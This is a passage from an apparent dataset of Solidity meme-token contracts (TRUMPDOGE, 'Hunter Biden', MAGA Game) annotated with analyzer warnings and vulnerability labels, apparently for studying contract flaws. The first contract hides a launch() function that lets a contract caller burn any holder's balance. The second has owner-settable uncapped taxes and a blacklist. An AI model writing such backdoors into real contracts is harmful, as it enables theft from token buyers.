OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"🐶TRUMPDOGE\", unicode\"🐶TRUMPDOGE\", 9, 100000000)\n {}\n}\n", "file_name": "solidity_code_10284.sol", "size_bytes": 7177, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n address private _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract hunter is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Hunter Biden\";\n\n string private constant _symbol = \"HUNTER\";\n\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private constant _tTotal = 69696969 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n\n uint256 private _taxFeeOnBuy = 25;\n\n uint256 private _redisFeeOnSell = 0;\n\n uint256 private _taxFeeOnSell = 25;\n\n uint256 private _redisFee = _redisFeeOnSell;\n\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\n\t// WARNING Optimization Issue (constable-states | ID: a71be63): hunter._developmentAddress should be constant \n\t// Recommendation for a71be63: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0x7306856708cd54873C9Abe4ce852Cdc3825B966b);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7aa0443): hunter._marketingAddress should be constant \n\t// Recommendation for 7aa0443: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0x7306856708cd54873C9Abe4ce852Cdc3825B966b);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7eb4f40): hunter.uniswapV2Router should be immutable \n\t// Recommendation for 7eb4f40: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ad79a2b): hunter.uniswapV2Pair should be immutable \n\t// Recommendation for ad79a2b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 2090910 * 10 ** 9;\n\n uint256 public _maxWalletSize = 2090910 * 10 ** 9;\n\n uint256 public _swapTokensAtAmount = 20909 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_developmentAddress] = true;\n\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4b56278): hunter.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4b56278: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4498d3a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4498d3a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 11912e4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 11912e4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4498d3a\n\t\t// reentrancy-benign | ID: 11912e4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4498d3a\n\t\t// reentrancy-benign | ID: 11912e4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n\n uint256 currentRate = _getRate();\n\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 0f13e48\n _previousredisFee = _redisFee;\n\n\t\t// reentrancy-benign | ID: 0f13e48\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 0f13e48\n _redisFee = 0;\n\n\t\t// reentrancy-benign | ID: 0f13e48\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 0f13e48\n _redisFee = _previousredisFee;\n\n\t\t// reentrancy-benign | ID: 0f13e48\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bf48925): hunter._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bf48925: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 11912e4\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4498d3a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c53dffc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c53dffc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0f13e48): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0f13e48: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 62275af): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 62275af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: c53dffc\n\t\t\t\t// reentrancy-benign | ID: 0f13e48\n\t\t\t\t// reentrancy-eth | ID: 62275af\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c53dffc\n\t\t\t\t\t// reentrancy-eth | ID: 62275af\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 0f13e48\n _redisFee = _redisFeeOnBuy;\n\n\t\t\t\t// reentrancy-benign | ID: 0f13e48\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 0f13e48\n _redisFee = _redisFeeOnSell;\n\n\t\t\t\t// reentrancy-benign | ID: 0f13e48\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: c53dffc\n\t\t// reentrancy-benign | ID: 0f13e48\n\t\t// reentrancy-eth | ID: 62275af\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c53dffc\n\t\t// reentrancy-events | ID: 4498d3a\n\t\t// reentrancy-benign | ID: 0f13e48\n\t\t// reentrancy-benign | ID: 11912e4\n\t\t// reentrancy-eth | ID: 62275af\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c53dffc\n\t\t// reentrancy-events | ID: 4498d3a\n\t\t// reentrancy-eth | ID: 62275af\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n _transferStandard(sender, recipient, amount);\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t// reentrancy-eth | ID: 62275af\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\n\t\t// reentrancy-eth | ID: 62275af\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n\n _takeTeam(tTeam);\n\n _reflectFee(rFee, tFee);\n\n\t\t// reentrancy-events | ID: c53dffc\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n\t\t// reentrancy-eth | ID: 62275af\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 62275af\n _rTotal = _rTotal.sub(rFee);\n\n\t\t// reentrancy-benign | ID: 0f13e48\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n\n uint256 currentRate = _getRate();\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n\n uint256 rFee = tFee.mul(currentRate);\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 443ada5): Missing events for critical arithmetic parameters.\n\t// Recommendation for 443ada5: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 443ada5\n _redisFeeOnBuy = redisFeeOnBuy;\n\n\t\t// events-maths | ID: 443ada5\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: 443ada5\n _taxFeeOnBuy = taxFeeOnBuy;\n\n\t\t// events-maths | ID: 443ada5\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e9ff035): hunter.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for e9ff035: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: e9ff035\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 75307d1): hunter.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 75307d1: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 75307d1\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2f0f146): hunter.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for 2f0f146: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: 2f0f146\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}\n", "file_name": "solidity_code_10285.sol", "size_bytes": 23056, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4b09890): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 4b09890: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 4b09890\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MGG is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 001f604): MGG._taxCollector should be immutable \n\t// Recommendation for 001f604: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxCollector;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4cb2ed7): MGG._initialBuyTax should be constant \n\t// Recommendation for 4cb2ed7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 860fb9e): MGG._initialSellTax should be constant \n\t// Recommendation for 860fb9e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 35;\n\n uint256 private _finalBuyTax = 1;\n\n uint256 private _finalSellTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3253cc9): MGG._reduceBuyTaxAt should be constant \n\t// Recommendation for 3253cc9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 894de1b): MGG._reduceSellTaxAt should be constant \n\t// Recommendation for 894de1b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc95785): MGG._preventSwapBefore should be constant \n\t// Recommendation for dc95785: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"MAGA Game On ETH\";\n\n string private constant _symbol = unicode\"MGG\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0164bbb): MGG._taxSwapThreshold should be constant \n\t// Recommendation for 0164bbb: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 20 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c51c5e): MGG._maxTaxSwap should be constant 